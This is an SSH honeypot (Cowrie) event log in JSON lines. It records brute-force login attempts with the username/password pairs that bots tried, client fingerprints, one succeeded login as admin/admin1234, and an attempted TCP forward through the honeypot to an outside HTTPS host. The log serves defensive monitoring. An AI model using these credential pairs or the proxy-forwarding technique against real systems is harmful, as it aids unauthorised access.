{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:44.800427Z","src_ip":"173.208.188.210","session":"ed859443ea38","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1e\\x800\\x92&\\x05\\x0e\\xe0\\xfc%\\xf0\\x8b\\xb5\\xce\\x07]H.Y\\xf6V\\r\\xc42\\xb3\\x9a_\\x8f\\xffl6< d\\x02\\xa0\\x16\\x13$\\xbd\\xb6aerm\\xa3Pd\\xa3\\x9ed8\"/a\\xb9\\xdbp\\xcdm^_\\xda\\x83\\xff\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xba\\x13\\xca\\xb0\\x94\\xa3o^\\xc9\\xcfw\\xcf\\x18\\x86\\xb0G\\xd2W\\xab\\x9c-\\x12\\xffO\\xear#A\\xac\\x86Q<\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1e\\x800\\x92&\\x05\\x0e\\xe0\\xfc%\\xf0\\x8b\\xb5\\xce\\x07]H.Y\\xf6V\\r\\xc42\\xb3\\x9a_\\x8f\\xffl6< d\\x02\\xa0\\x16\\x13$\\xbd\\xb6aerm\\xa3Pd\\xa3\\x9ed8\"/a\\xb9\\xdbp\\xcdm^_\\xda\\x83\\xff\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xba\\x13\\xca\\xb0\\x94\\xa3o^\\xc9\\xcfw\\xcf\\x18\\x86\\xb0G\\xd2W\\xab\\x9c-\\x12\\xffO\\xear#A\\xac\\x86Q<\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:44.803657Z","src_ip":"173.208.188.210","session":"ed859443ea38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":33656,"dst_ip":"10.17.0.5","dst_port":22,"session":"61824365e897","protocol":"ssh","message":"New connection: 45.153.34.195:33656 (10.17.0.5:22) [session: 61824365e897]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:45.512923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:45.524702Z","src_ip":"45.153.34.195","session":"61824365e897","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:45.615665Z","src_ip":"45.153.34.195","session":"61824365e897","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft","message":"login attempt [minecraft/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:45.945539Z","src_ip":"45.153.34.195","session":"61824365e897","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.9","message":"Connection lost after 16.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:46.593278Z","src_ip":"173.208.188.210","session":"ed859443ea38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux","message":"login attempt [linux/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:46.670265Z","src_ip":"91.92.40.36","session":"41f60b1174e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:47.028374Z","src_ip":"45.153.34.195","session":"61824365e897","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"12345678","message":"login attempt [user3/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:47.100994Z","src_ip":"91.92.40.36","session":"5983d3a81e89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":60344,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3c5c818bac0","protocol":"ssh","message":"New connection: 91.92.40.36:60344 (10.17.0.5:22) [session: a3c5c818bac0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:48.323577Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":33662,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed47570f336e","protocol":"ssh","message":"New connection: 45.153.34.195:33662 (10.17.0.5:22) [session: ed47570f336e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:48.433514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:48.438506Z","src_ip":"45.153.34.195","session":"ed47570f336e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:48.523678Z","src_ip":"45.153.34.195","session":"ed47570f336e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yzfr1@2011","message":"login attempt [root/yzfr1@2011] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:48.788119Z","src_ip":"45.153.34.195","session":"ed47570f336e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:49.872183Z","src_ip":"45.153.34.195","session":"ed47570f336e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.6","message":"Connection lost after 10.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:49.979146Z","src_ip":"91.92.40.36","session":"5983d3a81e89","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:50.008648Z","src_ip":"91.92.40.36","session":"a3c5c818bac0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:50.011772Z","src_ip":"91.92.40.36","session":"a3c5c818bac0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.5","message":"Connection lost after 15.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:50.408107Z","src_ip":"91.92.40.36","session":"41f60b1174e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":33672,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5bf78cc5152","protocol":"ssh","message":"New connection: 45.153.34.195:33672 (10.17.0.5:22) [session: c5bf78cc5152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:51.193219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:51.363495Z","src_ip":"45.153.34.195","session":"c5bf78cc5152","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:51.366489Z","src_ip":"45.153.34.195","session":"c5bf78cc5152","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"password","message":"login attempt [deployer/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:51.927955Z","src_ip":"45.153.34.195","session":"c5bf78cc5152","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:53.103045Z","src_ip":"45.153.34.195","session":"c5bf78cc5152","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":59496,"dst_ip":"10.17.0.5","dst_port":22,"session":"6035684deccd","protocol":"ssh","message":"New connection: 123.27.168.40:59496 (10.17.0.5:22) [session: 6035684deccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:53.316247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:53.321779Z","src_ip":"123.27.168.40","session":"6035684deccd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:53.701339Z","src_ip":"123.27.168.40","session":"6035684deccd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":52086,"dst_ip":"10.17.0.5","dst_port":22,"session":"212afa6ac924","protocol":"ssh","message":"New connection: 45.153.34.195:52086 (10.17.0.5:22) [session: 212afa6ac924]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:54.237421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:54.244002Z","src_ip":"45.153.34.195","session":"212afa6ac924","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:54.340210Z","src_ip":"45.153.34.195","session":"212afa6ac924","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"p@ssw0rd","message":"login attempt [kafka/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:54.951777Z","src_ip":"45.153.34.195","session":"212afa6ac924","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:54.987041Z","src_ip":"123.27.168.40","session":"6035684deccd","protocol":"ssh"}
